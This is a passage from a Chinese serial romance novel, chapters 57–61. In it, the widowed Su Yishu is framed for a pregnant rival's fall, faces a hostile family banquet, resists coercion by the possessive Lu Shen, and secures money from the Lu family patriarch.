“去。”
陆慎抽出一张湿巾,漫不经心地擦拭着手上的血迹,声音冰冷的没有一丝温度。
“让苏可人摔一跤。既然苏亦姝这么忙着奔波,我就给她送份大礼,让苏可人咬定,是苏亦姝在医院安排人推了她,想让她流产。”
“陆总,苏小姐那边若是知道了……”周轩冷汗直流。他不敢想……
“知道了又如何?”
陆慎冷笑,眼神里透着孤寂的狂气,“我要让她知道,在这江城,除了我陆慎,谁也护不住她。”
第五十七章 泼向苏亦姝的脏水
医院。
空气中弥漫着刺鼻的消毒水味。
程丽梅焦急地站在急救室的走廊,赵西双站在旁边。
苏可人这胎若是没了,对赵西双而言,是扫清了未来陆家产业的竞争者;
若是留着,正好能成为她手中对付苏亦姝最钝的一把刀。
只是,一个上不了台面的私生女,还是使用不光明的手段爬上的床,生出的种来跟她未来的孩子争夺陆家产业,想想都是一种耻辱。
“伯母,苏小姐吉人天相,一定会没事的。”
赵西双一边拍着程丽梅的后背,一边状似无意地皱眉。
“只是,我刚才特地去事发现场看了一眼,那地方平坦干燥,连个水渍都没有,苏小姐怎么会摔得这么离奇?”
程丽梅捏着佛珠的手猛然收紧,目光如电般射向缩在墙角的保姆王阿姨。
“让你贴身照顾,你死到哪儿去了?”
“这个……这个我也不是很清楚……当时,苏小姐说想吃水果,让我去洗一点。”保姆王阿姨说着,一脸的惶恐。
程丽梅气得,一巴掌直接甩过去。
“让你来是做什么的?摆不清自己的位置吗?”
王阿姨被扇一巴掌,虽然心里委屈又气愤,但却不敢表露出什么来。
而是直接跪下,哭喊着。“夫人饶命,是我没照顾好。但是当时,苏小姐她说……她说身边有她母亲和何护士陪着,没事的。我哪想到,才离开几分钟……”
程丽梅看向一旁的保镖,问道:“去把那个护士和刘芹给我带过来。”
“是,夫人。”
看着保镖离开,赵西双的眼眸闪烁了下。
犹豫了下,说道:“伯母,苏小姐现在这个样子,要不要通知亦姝姐?毕竟,苏小姐是亦姝姐的妹妹……”
“通知她?她巴不得苏可人肚子里的孩子没有呢……”程丽梅说着,突然话音戈然而止。
苏亦姝巴不得苏可人肚子里的孩子没有……这……在这个节骨眼上,恰好苏可人就摔倒了。绝对不是苏可人自己摔倒的,她巴不得留住这个孩子……
所以……
这个时候,保镖将一脸惨白的刘芹和护士何雯带到面前。
两个人看到程丽梅,都吓得浑身一哆嗦。
“苏可人在摔倒的时候,你们在她身边?”
“我不在啊。”刘芹立即说着。“我当是正好接电话去了。我正打着电话,就听到可人叫了一声,倒在地上了……”
刘芹第一时间把自己的责任撇的干干净净。
这让赵西双很是鄙视。
刘芹见状,随即扯开嗓子哭嚎:“陆夫人,您可得给可人做主啊!我正接电话呢,一转头可人就倒在血泊里了……她可是怀着陆钦的骨肉啊,这是要了我的命啊!
“闭嘴!”程丽梅厌恶地剜了她一眼,转向护士何雯。
刘芹吓得不敢再说话了。
程丽梅看向护士何雯。
何雯毕竟年轻,吓得语无伦次,卷起袖子露出擦伤的胳膊。
“真的不关我的事!当时我们正在长椅旁说话,突然从斜刺里窜出一个高个子男人,力气大得惊人,直直撞在苏小姐腰上。我伸手去拉,结果被一起带倒了,苏小姐整个人重重压在我身上……”
说着,把自己胳膊给程丽梅看。“这就是当时摔到的,我喊来人之后,便去给伤口上药了。”
“你说,有人撞过来的?”赵西双立即追问着。
何雯点点头。“一个男人,个子很高,没看清楚脸。我们当时正在聊天,所以,都没注意到有人过来。”
这个时候,保镖走了过来。
“夫人,我们查看了监控,确实跟她说的是一样的,那个撞苏小姐的男人,戴着帽子和口罩,看他的架势,就是冲着苏小姐去的。我们的人已经锁住了身形,正在追查。”
程丽梅一脸愤怒。“好啊,敢这么公然的来伤人,这明摆着就是冲着肚子里的孩子来的。我倒是要看看,谁这么大胆!”
赵西双站在一旁,眼波流转,语气里带着一抹刻意的诱导。
“能对苏小姐行
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踪了如指掌,还能精准避开陆家保镖的眼线……伯母,这人怕是不仅有胆子,还很了解陆家的办事风格。”
程丽梅眼眸闪烁了下。
这个时候,急救室的门开了。
医生推着苏可人出来了。
医生推着面色青紫、浑身虚弱的苏可人走了出来:“孩子保住了,但有严重的流产征兆。接下来的保胎期,大人绝对不能下床。”
“好的好的,阿弥陀佛,感谢佛祖。”程丽梅说着。
苏可人撑着最后一口气睁开眼,在看到程丽梅的一瞬间,眼泪夺眶而出,声音里满是浓稠的恨意。
“阿姨……是苏亦姝!一定是她!那个撞我的男人说,让我下辈子投胎找个好姐姐……”
这句杜撰的台词,像是一记重锤,彻底砸碎了程丽梅心中最后一丝理智。
赵西双佯装惊恐地捂住嘴。
“苏小姐,这话可不能乱说,亦姝姐毕竟是你姐姐……”
“她哪有把我当过妹妹!”苏可人歇斯底里地吼道。
“她以前阻止我进苏家大门,后来又拦着不让我跟阿钦在一起。现在阿钦不在了,她就想要我的命!阿姨,您要是再不护着我,我就只能带着孩子去地底下找阿钦告状了!”
刘芹也跟着扑在床边嚎哭。
“陆夫人,求您做主啊!苏亦姝这个女人太狠了,她这是要断了陆钦的后啊!”
程丽梅看着苏可人那张充满怨毒的脸,又想到苏亦姝在办公室里拿陆钦威胁自己的模样,两股恨意合二为一,几乎将她的理智烧尽。
“赵西双。”程丽梅沉声开口,眼神阴冷得可怕。
“伯母,您吩咐。”
“去,发个请帖。明天晚上在陆家老宅办个家宴。既然苏亦姝这么能算计,那就让她当着陆家祖宗的面,把这件事说个清楚。”
程丽梅冷笑一声,“我倒要看看,陆慎这一次,还能怎么护着他这个‘好大嫂’!”
赵西双垂下眼睫,掩盖住眼底疯狂的笑意。
“是,我这就去办。”
第五十八章 苏亦姝,只有我能救你
翌日,苏亦姝白天一整天都在公司忙碌着,忙的午饭都没来得及吃。
一直到傍晚,海绵看到她还在忙着,似乎没有离开的打算。
便提醒道:“苏总,今晚陆家有家宴。”
苏亦姝拿着笔的手一顿,头也不抬地说道:“我知道……”
说完,签完名字,便合上面前的文件。
深吸一口气,懒懒地收拾着包。
“那我先走了,这几份文件你发下去给他们修改。”
“是。”
苏亦姝坐在车子里,眼皮一直跳着。
总感觉,今日会有什么事情发生。
她嗤笑了声,老宅家宴,估计自己的不安,就来自那里吧。
陆家老宅,正厅。
苏亦姝踏进陆家老宅。
明显就感觉到了气氛的异样。
陆老爷子坐在主位,神色威严。旁边左右两侧各自坐着老爷子的两个弟弟,陆家二老爷和三老爷。
陆子谦夫妇和陆域坐在二老爷那一边,陆慎坐在老爷子与三爷爷之间,姿态沉稳而冷冽,指尖无意识地摩挲着袖扣,那是他烦躁时的习惯。
在三老爷旁边,就是程丽梅,以及赵西双。
苏亦姝没想到,赵西双也在。
不过,赵西双跟陆慎即将订婚,所以她在这里也不奇怪。
苏亦姝踏入正厅时,所有人的目光齐刷刷地钉在她身上。
她不紧不慢,神色淡然地走过去打招呼。
“爷爷,二爷爷,三爷爷。”苏亦姝神色如常,那双清冷的眸子在灯光下不起波澜。
她走到客位坐下,自始至终,没有分给身侧的陆慎半分目光。
陆慎眼睫微颤,心口像是被针扎了一下,这种被无视的冷漠,比苏亦姝拿着刀捅他还要让他抓狂。
程丽梅看向苏亦姝,神色冰冷,目光中夹着怨恨。
苏亦姝心中嗤笑,她从一开始就搞不懂,为何程丽梅对自己这么大的敌意。
犹记得刚开始陆钦带着程丽梅来苏家跟她提亲的时候,并不是这样的。
或许是那个时候,伪装的太好了吧。
“今日家宴,不谈公事,只叙家常。”老爷子转动着手中的核桃,语气平和,却自带威压。
程丽梅却按捺不住了,她冷哼一声,看向苏亦姝的目光中淬满了毒。
“既然是家常,那我有件事得说道说道。今日医院来电,可人被人撞倒,险些小产,现在还得卧床保胎,大人孩子都在鬼门关走了一遭。”
苏亦姝明显地看到,程丽梅在说这句话的时候,赵西双眼底有些得意。
老爷子眉头微皱:“怎么回事?”
“具体怎么回事,监控看得很清楚。”
程丽梅死死盯着苏亦姝,语气森寒,“一个戴口罩的男人,在平地上精准地撞向可人的肚子。亦姝,这件事,你怎么看?”
苏亦姝缓缓抬眸,迎上程丽梅那副恨不得生吞活剥了她的表情,淡淡一笑。
“我看?我看这背后的策划者,确实狠毒,连一条还没出世的命都不肯放过。”
“说得好!”程丽梅猛地拍案而起。
“可人醒来第一句话就说,那个男人是你派去的!那男人甚至还留了话,让可人下辈子投胎找个好姐姐……亦姝,你就这么等不及要让陆钦断后吗?”
“这……”二婶柯沁夸张地捂住嘴,“亦姝,你怎么能这么糊涂?那毕竟是陆钦的孩子,你就算再容不下,也不能……”
“二婶一把年纪了,说话还是要分分轻重。”
苏亦姝冷冷地扫过去,眼底掠过一抹冰芒,“祸从口出的道理,二婶在陆家这么多年,还没学会吗?”
“你——!”柯沁被怼得脸色铁青。
赵西双见状,适时地宽慰道:“亦姝姐,二婶也是心疼孩子。你若是被冤枉了,好好解释便是,何必这么咄咄逼人?倒显得有些心虚了。”
苏亦姝看向赵西双,唇角勾起一抹讥讽:“赵小姐倒是会找知音,是不是让赵小姐有似曾相识的感觉。”
“够了!”程丽梅怒斥,“苏亦姝,你解释不出个所以然,就只会在这里针对自家人吗?”
老爷子一直没说话,目光深沉地看着这场戏。
就在气氛凝固到冰点时,一直保持沉默的陆慎,突然低声笑了一下。
那笑声充满了恶意与玩味,让全场瞬间噤声。
“我看嫂嫂确实不需要解释。”
陆慎抬起眼帘,眼底是一片浓稠的暗红,他看向苏亦姝,声音低沉磁性。
“苏可人肚子里的孩子一旦出生,大哥的遗产就会被分割,苏氏本就岌岌可危,如果再丢了这笔遗产,嫂嫂拿什么翻身?动机这种东西,不需要解释,证据才是王道。”
他这番话,明面上是坐实了苏亦姝的嫌疑,实则是在逼苏亦姝回头向他求援。
苏亦姝对上陆慎那双偏执的眼,心口一阵寒凉。
陆慎,这就是你想要的?看我被陆家这群恶狼分食,然后乖乖爬到你怀里求饶?
“三弟说得有理。”
陆域突然开口,打断了陆慎的逼视。他笑得散漫,脸上带着几分沉思。
“但我倒是相信
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大嫂的为人。大嫂最近忙着苏氏的烂摊子,恐怕连吃饭的时间都没有,哪有精力去**?更何况,大伯母身边的保镖,可不是随便一个口罩男就能穿过去的。”
陆域看向苏亦姝,眼底闪过一抹唯有两人懂的暗芒。
赵西双惊疑不定地看着陆域。
“二少对亦姝姐,倒是信任得很。”
“一家人,不谈信任谈什么?等赵小姐嫁给老三,进了我陆家的门,我对赵小姐也信任。”
陆域反唇相讥,随后看向老爷子,“爷爷,空口无凭,仅凭苏可人一句话就给大嫂定罪,怕是寒了人心。”
老爷子终于开口,一锤定音。
“查清楚。在证据出来之前,谁也不准再议论此事。”
赵西双脸上表情一滞,朝着陆慎看去。
陆慎坐在那,脸上一片森寒。
家宴散去,陆家众人神色各异。
苏亦姝正欲离去,陆慎却挡在了她身前。
他的身影高大,将她整个人都笼罩在阴影里。
“苏亦姝,陆域帮你说一句话,你就这么感激他?”
陆慎压低声音,语气里是藏不住的酸意与戾气,“你宁愿跟他在走廊里密谋,也不肯跟我说一个字?”
“陆慎,让开。”苏亦姝冷声。
“如果不让呢?”陆慎猛地抓住她的手腕,强行将她拽进了旁边偏僻的隔间,反手落锁。
黑暗中,男人的气息瞬间席卷了苏亦姝所有的感官。
“你疯了!”
“我是疯了。”
陆慎将她抵在墙上,发狠地吻住她的唇,那吻里带着惩罚性的啃咬和无尽的掠夺。
“苏亦姝,苏可人那件事,你找陆域有什么用?能救你的只有我,能毁掉那个监控、平息程丽梅怒火的也只有我!”
苏亦姝狠狠推开他,反手就是一个耳光。
“啪!”
清脆的响声在狭小的空间里回荡。
陆慎被打得侧过头,舌尖抵了抵发麻的脸颊,却笑得更加妖冶。
“打得好。苏亦姝,如果你不求我,明天一早,苏可人摔倒现场就会多出一只属于你的耳环。你猜,那时候爷爷还会保你吗?”
苏亦姝浑身一颤,那是极度的愤怒在燃烧。
“陆慎,你居然亲自下场栽赃我?”
“我是在教你,在这个局里,只有我说了才算。”
陆慎再次俯身,在那片冰冷的耳畔呢喃,“明天上午十点,来我公寓。带着你的诚意,换苏氏和你的平安。”
陆慎离开了,留下苏亦姝一个人在黑暗中发抖。
第五十九章 纠缠,旧信换生机
公寓内,没有开大灯。
只有角落里的一盏落地灯散发着昏黄微弱的光晕,将苏亦姝的身影拉得孤寂而细长。
她蜷缩在客厅的沙发上,双手紧紧环抱着膝盖,下巴抵在膝头,整个人透着一股难以言喻的颓靡与破碎感。
“陆慎……”
她低声呢喃着这个名字。
其实早在决定利用陆慎来对抗陆家和苏家的时候,她就猜到了会有这么一天。
与虎谋皮,焉有其肉?陆慎从来不是什么慈善家,他是一匹饿狼,甚至比那些明面上的敌人更可怕。
他布下天罗地网,甚至不惜自毁名声,不惜亲自下场栽赃,就是为了逼她低头,逼她承认离不开他,逼她做回那个依附于他的金丝雀。
苏亦姝闭上眼,脑海里全是陆慎在黑暗中那个带着血腥味的吻,以及那句“明天上午十点,带着你的诚意”。
诚意?
让他如愿以偿,那就是诚意吗?
如果不去,明天苏可人摔倒现场就会多出她的耳环,她就会成为众矢之的。
可如果去了……那就是把自己最后的尊严剥光了递给他踩。
苏亦姝猛地睁开眼,眼底划过一抹决绝的寒光。
不,绝不。
楼下。
一辆黑色的迈巴赫隐匿在树影深处,车窗半降,一只修长的手伸在外面,指尖夹着明明灭灭的烟火。
陆慎靠在驾驶座上,昂贵的西装外套随意地扔在一旁,领带被扯松,露出性感的喉结。
他微微仰头,那双布满血丝的深邃眼眸,死死盯着楼上那扇亮着灯的窗户。
一整晚了,灯没灭。
他也一整晚没睡。
脚边的烟蒂已经堆成了一小堆。
陆慎深吸了一口烟,辛辣的烟雾入肺,却压不住心头那股细密绵长的痛意。
他知道她在烦恼,在痛苦,甚至在恨他。
看着她被逼入绝境,他心里并不好受,甚至有一种想要冲上去抱紧她、告诉她一切有他在的冲动。
可是……不行。
“苏亦姝,别怪我。”
陆慎吐出烟圈,声音沙哑得在夜色中几乎听不清。
“只有剪断你的翅膀,只有让你在外面撞得头破血流,你才会知道,这世上只有我的怀抱才是安全的。只有这样,你才不会总想着飞走。”
这种病态的占有欲,像藤蔓一样缠绕着他的心脏,让他宁愿看着她痛,也不愿看着她离开。
这一夜,楼上的人在困兽之斗,楼下的人在画地为牢。
直至天光破晓。
翌日,上午。
陆慎早早便回了自己的公寓。
他甚至特意换了一身衣服,坐在客厅的沙发上,看着墙上的挂钟。
九点五十。
他的手指有节奏地敲击着膝盖,心情莫名地有些躁动。
她在想什么?会穿什么衣服来?来了之后会哭吗?还是会像以前那样冷着脸求他?
不管怎样,只要她来,只要她肯低头,他甚至可以把她想要的双手奉上,可以把那所谓的证据彻底销毁。
十点整。
门铃没有响。
陆慎敲击膝盖的手指顿了顿,眉头微不可察地皱了一下。
或许是路上堵车?
十点半。
公寓里依旧死一般的寂静。陆慎起身给自己倒了一杯水,喝了一口,却觉得冰冷刺骨。
十一点。
耐心在一点点流逝,取而代之的是渐渐升腾的怒火和一丝不易察觉的恐慌。
苏亦姝,你真的敢不来?
你真的不要苏氏了?不顾自己的名声了?
当时针指向十二点的那一刻,陆慎手中的玻璃杯“砰”的一声被捏碎在掌心。
她没来。
她宁愿冒着身败名裂的风险,宁愿被陆家扫地出门,也不肯来向他低头求饶。
“好……很好!”
陆慎怒极反笑,眼底一片猩红。
就在这时,放在茶几上的手机震动起来,是周轩打来的。
陆慎接起电话,声音阴沉得像是要**。
“她人呢?是不是在苏氏?”
如果她在苏氏,他现在就让人去把苏氏封了!
然而,电话那头周轩的声音却颤抖得厉害,带着浓浓的惊恐。
“陆总,苏小姐去了老宅……”
陆家老宅,老爷子书房内,檀香袅袅。
苏亦姝跪坐在茶台前,神色凄婉,却将一份厚厚的文件推到了陆老爷子面前。
“爷爷,这是苏氏集团目前所有的资产评估,以及一份抵押协议。”
苏亦姝声音轻柔,却透着一股心如死灰的决绝,“我想把苏氏抵押给擎天集团,套现一笔资金。”
老爷子眉头紧锁,翻看了一下文件,随即目光锐利地看向她。
“亦姝,你这是做什么?虽然苏氏现在困难,但只要阿慎那边出面,危机自会解除。你这时候把苏氏抵押了,你是打算……?”
“我想离开江城,去国外定居。”
苏亦姝垂下眼帘,长睫掩盖住了眼底的精光。
她没说的是,早在来之前,她就已经通过分公司将苏氏最核心的技术专利和最有价值的业务,神不知鬼不觉地转到了自己名下。
现在抵押给陆家的,不过是一个看着光鲜亮丽、实则被掏空了核心的空壳。
“离开?”老爷子一愣。
苏亦姝苦笑一声,从包里拿出一张泛黄的信纸,双手递了过去。
“爷爷,这是阿钦生前留给我的。他说,如果有一天我遇到了过不去的坎,就拿着这个来找您。他说,陆家会护我周全。”
老爷子接过那张纸,上面确实是陆钦的笔迹,还盖着他的私章。
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信的内容很简单,大意是若他不在了,恳请家族善待苏亦姝,若她想走,便放她自由。
看着早已离世的长孙的亲笔信,老爷子拿着信纸的手微微颤抖,眼眶湿润。
“亦姝,既然阿钦有交代,陆家自然会护着你。你何必非要走?是因为……昨天家宴上的事?”
苏亦姝眼泪适时地落了下来,声泪俱下。
“爷爷,婆婆对我的态度,您也看在眼里。在她心里,我就是害死阿钦的扫把星,现在又成了想害苏可人流产的毒妇。我留在这里,只会让她看着碍眼,让这个家不得安宁。”
她擦了擦眼泪,仰起头,一脸的委屈与大义。
“至于阿钦的遗产,我一分也不要了。逝者已矣,我不想因为这些身外之物,被婆婆指着脊梁骨骂我贪图陆家财产。我只想带着阿钦给我的回忆,找个没人认识的地方,安安静静地过完下半生。”
这一番话,说得情真意切,将一个受尽委屈却为了家庭和睦甘愿净身出户的儿媳形象,演绎得淋漓尽致。
老爷子看着她那张惨白的小脸,心中大为动容。
关于陆钦跟苏亦姝之间,他也是知道的。当初陆钦想要求娶苏亦姝,也是特地找过他。
犹记得当时的陆钦,提及苏亦姝的时候,一脸欢喜,眼底的爱意,是遮挡不住的。
所以,陆钦是爱苏亦姝的,他很确定。
至于苏可人,老爷子心中暗叹一口气,造孽啊……
看着苏亦姝,到底是陆钦爱过的人,也是个懂事的孩子。相比之下,程丽梅的做法确实太过了。
“胡闹!”
老爷子将文件推了回去,语气却软了下来。
“苏氏是你父亲的心血,抵押什么抵押?既然你手头紧,这笔钱,陆家出。算是爷爷给你的补偿。至于你婆婆那边……我会去敲打她,绝不会让她再针对你。你想出国散心可以,但不必搞得像逃难一样。”
苏亦姝眼底划过一抹暗喜,面上却依旧是一副感激涕零的模样。
“谢谢爷爷……”
这一局,她赢了。
既拿到了钱,又过了明路,还能摆脱陆家这潭浑水。
从书房出来,随着红木门缓缓合上,苏亦姝脸上的悲伤与委屈在瞬间消失殆尽。
她站在走廊的阴影里,冷冷地勾了勾唇角。
陆老爷子以为那是“散心”,却不知那是她精心策划的“永别”。
等资金一到账,她就会带着核心技术远走高飞,让陆慎和这群人守着一个空壳斗去吧。
然而,她刚转过拐角,一道尖锐的骂声便迎面劈来。
“苏亦姝!你这个**!”
还没等苏亦姝反应过来,程丽梅不知从哪冲了出来,满脸怒容,抬手就是狠辣的一巴掌。
“啪——!”
第六十章 苏亦姝被打,陆慎发疯
这一巴掌极重,苏亦姝被打得脸偏向一边,嘴角瞬间渗出了血丝,原本就没好的身体踉跄着撞在墙上。
“你居然还有脸来找老爷子告状?”
程丽梅指着她的鼻子,气得浑身发抖,精心保养的指甲几乎要戳进苏亦姝的眼睛里。
“你把可人害得躺在床上起不来,现在又跑来老爷子这里装可怜?你是不是想让老爷子把我也赶出陆家你才甘心?”
苏亦姝扶着墙站稳,舌尖抵了抵火辣辣的脸颊,抬起头时,眼神冷得像冰。
“这么看着我做什么?想吃了我?呵,苏亦姝,你也就只能这么干看着我。我极其后悔,当时就不该答应阿钦,让他娶你。否则,阿钦也不会死!”
争吵声引来了不少人。
陆家二房、旁支的人,还有佣人们纷纷围拢在走廊尽头。
佣人们看着平时温和有礼的大少夫人被打成这样,眼底都露出了同情,却无人敢上前。
苏亦姝笑了……
这一笑,让程丽梅更加恼火。
她虽然被老爷子夺了持家权,但是这么些年在老宅操持内宅之事,加上本身就是程家大小姐的出身,让她养成了非常独断跋扈的性格。
整个陆家老宅,也就老爷子能让她敬畏几分。
但是,老爷子对于内宅之事,也是很少插手。大部分,更是睁一只眼闭一只眼。
“笑什么?”
“我笑你可怜,笑你悲哀……”苏亦姝的声音轻飘飘的,却字字如刀。
“苏亦姝,你闭嘴!”程丽梅咆哮着想要再挥手。
苏亦姝却猛地一步上前,逼近程丽梅,气场全开,竟然逼得这位跋扈了半辈子的陆夫人后退了半步。
“陆钦为何会死,难道你心里没有一点数吗?”
苏亦姝死死盯着她的眼睛,“我的好婆婆,你午夜梦回的时候,就不怕陆钦来找你索命吗?”
“你……你什么意思?”程丽梅脸上少见地露出一丝恐慌。
苏亦姝眼眸一动,笑着说道:“什么意思?苏可人为什么会跟陆钦睡在一起?你不知道?因为,是你把苏可人送到陆钦的床上的!”
这话一出,宛如惊雷炸响。
在场所有人都震惊地看向程丽梅,连二房看戏的陆子谦夫妇都惊得合不拢嘴。
看着程丽梅苍白的脸,苏亦姝继续说道:“你自己走过的路,遭受过得那些,所以,你想让我也跟着你一起痛,你想看到我发疯,想在我身上,看到你当年的模样。可惜,你算错了,算错了陆钦对我的在意。你可能不知道,当陆钦发现自己跟苏可人睡在一起后,第一反应并不是遮掩隐瞒我,而是跪在我面前,跟我道歉……”
程丽梅脚下一个踉跄,脸色惨白如纸。
“不可能……阿钦他……”
“他告诉我,**苏可人是怎么进来的。我相信他!”
苏亦姝的声音陡然拔高,“因为那是他最信任的亲妈做的局!是你,为了控制儿子,为了恶心儿媳,亲手把你儿子推向了绝路!陆钦最后那段时间的抑郁、痛苦,都是拜你所赐!程丽梅,真正害死陆钦的凶手,是你!”
“你闭嘴!你这个**!你胡说八道!”程丽梅崩溃地尖叫,抬手就要去撕扯苏亦姝的嘴。
“够了!”
一声威严的怒喝打断了这场闹剧。
老爷子站在书房门口,拐杖重重地敲击地面,脸色铁青。
“爸,这个苏亦姝她……”程丽梅刚想告状。
“你有一点做长辈的样子吗?!”
老爷子指着程丽梅,手都在抖。
“刚才亦姝在里面,跟我谈的全部是工作,没有提半句关于你和苏可人的事!她甚至为了陆家的名声,主动放弃了阿钦的遗产!你呢?你不分青红皂白上来就**,简直是泼妇行径!”
程丽梅彻底僵住,难以置信地看向苏亦姝。
怎么可能?她不是来告状的?
苏亦姝深吸一口气,脸上没有任何胜利的喜悦,只有无尽的疲惫。
她知道,老爷子骂归骂,依然会保全陆家的颜面,程丽梅依然是陆家的大夫人。
这就是她必须离开的原因。
“爷爷,我先回去了。”苏亦姝轻声说道。
老爷子看着她脸上的指印,眼底闪过一丝愧疚,点了点头。
苏亦姝挺直脊背,转身往外走。
在经过大门玄关时,她看到了站在阴影里的陆慎。
**在那里站了多久,整个人仿佛与黑暗融为一体。
苏亦姝没有看他,甚至连脚步都没有停顿,径直从他身侧擦肩而过,带起一阵冷风。
陆慎的目光死死锁在她脸上那触目惊心的红肿指印上,那一刻,胸腔里压抑已久的暴戾如洪水决堤,彻底吞噬了他的理智。
她宁愿挨打,宁愿受辱,也不肯看他一眼,不肯求他一句。
苏亦姝的身影消失。
老宅大厅内,气氛依旧压抑。
程丽梅被老爷子骂得面红耳赤,正想找补几句面子。
“爸,我也不是故意的,主要是可人那边……”
“砰——!”
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一声巨响,仿佛平地惊雷,吓得所有人浑身一颤。
众人惊恐地回头,只见陆慎一脚踹翻了玄关处那座价值连城的半人高青花瓷瓶。
瓷片飞溅,划破了他的裤脚,他却浑然不觉。
此时的陆慎,像是一头彻底失控的疯兽。他双目赤红,浑身散发着令人胆寒的煞气,一步步朝程丽梅走去。
“阿……阿慎?”程丽梅看着二儿子这副模样,本能地感到了恐惧,下意识地往老爷子身后躲。
陆慎停在她面前三步远的地方,目光阴鸷得像要滴出血来。
“哪只手?”陆慎的声音轻得诡异,却让人头皮发炸。
程丽梅哆嗦着:“什……什么?”
“我问你,刚才哪只手打的她?”
陆慎猛地拔高音调,一脚踹翻了旁边的茶几,实木茶几在地面上滑行,发出刺耳的摩擦声,最后重重撞在墙上四分五裂。
“啊!”程丽梅吓得尖叫,瘫软在地。
“陆慎!你疯了吗?这是你妈!”老爷子气得拐杖直抖。
“我没妈!”
陆慎转过头,眼神凶狠地盯着老爷子,那眼神竟然连老爷子都震慑住了。
“从她对我打骂,从她把我丢弃开始,我就没这个妈了!”
他指着瘫在地上的程丽梅,字字如冰。
“你不是最在乎陆家大夫人的体面吗?你不是最喜欢拿长辈的身份压人吗?”
“周轩!”陆慎厉声大吼。
一直守在外面的周轩带着保镖冲了进来。
“把大夫人宅院里的东西砸了!”陆慎指着偏厅里程丽梅最喜欢的那些摆设,“既然大夫人喜欢动手,那就让她看个够!”
他走到程丽梅面前,蹲下身,看着这个瑟瑟发抖的女人,嘴角勾起一抹残忍的弧度,凑过去,用仅能两人听到的声音说道:“你打她一巴掌,我就断掉程家一条产业链。明天开始,我会慢慢吞噬程家的产业,直至在江城彻底消失。”
程丽梅面色大惊。
“你……你疯了!”
陆慎站起来,嘴角嗪着骇人的笑。
“这就疯了?你挪用陆家十个亿给你那弟弟补窟窿的时候,怎么不说疯?还有,程家拿到的向北的拿块地,不就是花的陆家的钱,给你程家买的吗?”
程丽梅脸色越发的难看,还有些心虚。
这些事情,确实是她做的。众人心里清楚,但是谁也没拿到明面上来说。
陆慎目光冷冷地扫向众人。“我陆慎……还有更疯的,你们想看看吗?”
第六十一章 银货两讫
公寓内,灯光柔和。
方思荷一边小心翼翼地用毛巾裹着冰块敷在苏亦姝红肿的半边脸上,一边气得眼泪直掉,嘴里骂个不停。
“那个程丽梅是不是更年期躁郁症啊?还有陆家那一窝子,除了那个老头子稍微讲点理,其他的全是疯子!尤其是陆慎,他就在那看着?他不是很牛吗?连你也护不住!”
冰块的凉意刺痛了伤口,苏亦姝轻轻嘶了一声,却反而笑了。
“你还笑!都被打毁容了!”方思荷气急败坏。
“思荷,这一巴掌挨得值。”
苏亦姝靠在沙发上,眼神清明得可怕。
“如果不挨这一下,老爷子心里的那杆秤就不会彻底偏向我。如果不流这点血,我怎么能顺利地把苏氏这个烫手山芋洗白?”
就在这时,放在茶几上的手机震动起来。
是白海打来的。
“苏总,刚才财务部传来消息,苏氏集团账户上突然汇入了一笔巨额资金,不仅填平了所有的债务漏洞,甚至还有大笔结余。汇款方……是擎天集团。”
苏亦姝挂断电话,嘴角的笑意更深了,却透着一股凉薄。
“看,这就是陆家的补偿。”
这一巴掌,换来了苏氏的起死回生。
老爷子到底是讲究人,既是为了兑现书房里的承诺,也是为了用钱买断她心里的怨气,更是为了替陆家那个发疯的程丽梅赎罪。
银货两讫,互不相欠。
她苏亦姝,也赌赢了!
“亦姝,那你现在打算怎么办?”方思荷问。
“等。”苏亦姝看向窗外漆黑的夜,“等苏振东出来,把这个‘完好无损’的苏氏交给他。”
第二天,苏振东出狱。
没有鲜花,没有迎接队伍,这只在商海沉浮半生的老狐狸,穿着一身晦气的旧衣,第一时间没有回家洗澡,而是直奔苏氏集团。
推开总裁办公室大门的那一刻,苏振东看着坐在大班椅上处理文件的苏亦姝,眼神复杂到了极点。
他在里面待的这段日子,外面的天翻地覆他都听说了。
苏氏濒临破产,苏亦姝力挽狂澜,甚至还能让陆家在这个节骨眼上出钱平账。
“爸,出来了。”苏亦姝头也没抬,语气淡漠得像是在跟一个陌生人打招呼。
苏振东冷哼一声,走到沙发上坐下,摆出父亲的威严。
“你眼里还有我这个爸?苏亦姝,你现在翅膀硬了,连老子的婚姻都敢插手?”
苏亦姝合上文件,抬起头,目光犀利。
“爸,您该感谢我。现在的苏氏,债务全清,股价回升。这可是我送给您的出狱大礼。”
苏振东被噎了一下。
他看着眼前这个大女儿,突然发现自己从未看透过她。
比起那个只会哭哭啼啼、只会闯祸,还要靠他在程丽梅面前伏低做小的苏可人,苏亦姝显然更有价值。
甚至,她在陆家的分量,似乎比他想象的还要重。
“哼,算你有良心。”
苏振东压下心底的怒火,眼珠转了转。
“既然我回来了,公司的管理权自然要交接。你是陆家的大少夫人,以后还是多顾着陆家那边,公司的事,就不用你操心了。”
他是怕苏亦姝把控着公司,架空他。
苏亦姝站起身,十分干脆地将一枚公章放在桌上。
“正有此意。这段时间我也累了,既然爸回来了,这摊子事您自己管吧。”
苏振东一愣,显然没料到她放权放得这么痛快。
“行了,你也别摆着这副脸。”苏振东拿过公章,假意关心道,“晚上回家吃个饭,咱们父女俩好好聊聊。”
“不用了。”苏亦姝拿起包,走到门口,“我还要陪朋友逛街。爸,祝您在苏氏……大展宏图。”
接下来的日子,江城似乎恢复了平静。
苏亦姝彻底从苏氏的管理层退了下来,除了偶尔去分部签几个无关紧要的字,剩下的时间,她就像每一个豪门闲散贵妇一样,陪方思荷逛街、喝下午茶,偶尔也会和方华睿一起吃顿饭。
方华睿是个温润如玉的君子,知道她的处境,从未有过半分逾越,只是默默地坐在一旁。
而在这种平静之下,陆赵两家的联姻正在紧锣密鼓地筹备中。
陆家老宅。
程丽梅看着手中的宾客名单,手都在抖。她脸上盖着厚厚的粉底,却依然遮不住眼底的青黑和憔悴。
这段时间,她过得生不如死。
老爷子让她继续负责这场订婚宴,无非是因为陆慎毕竟是自己亲生的。
整个老宅的人,看她的眼神,让她浑身难受。
而她的娘家程家,最近接连遭到重创,好几个大项目被莫名
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截断,资金链断裂。
她知道是陆慎干的,可她不敢说,甚至不敢去找陆慎。
自从那晚之后,陆慎再也没回过老宅。
“夫人,少爷那边的礼服已经送过去了,但是……”管家战战兢兢地汇报,“少爷连试都没试,直接让人扔进了垃圾桶。”
程丽梅气得把手中的茶杯摔得粉碎。
“他这是要干什么!过几天就是订婚宴了!他是想让陆家在全江城人面前丢脸吗?”
此时,市中心某高档餐厅。
苏亦姝正和方华睿还有方思荷三人吃饭,坐在靠窗的位置,方华睿笑着给她递了一张纸巾。
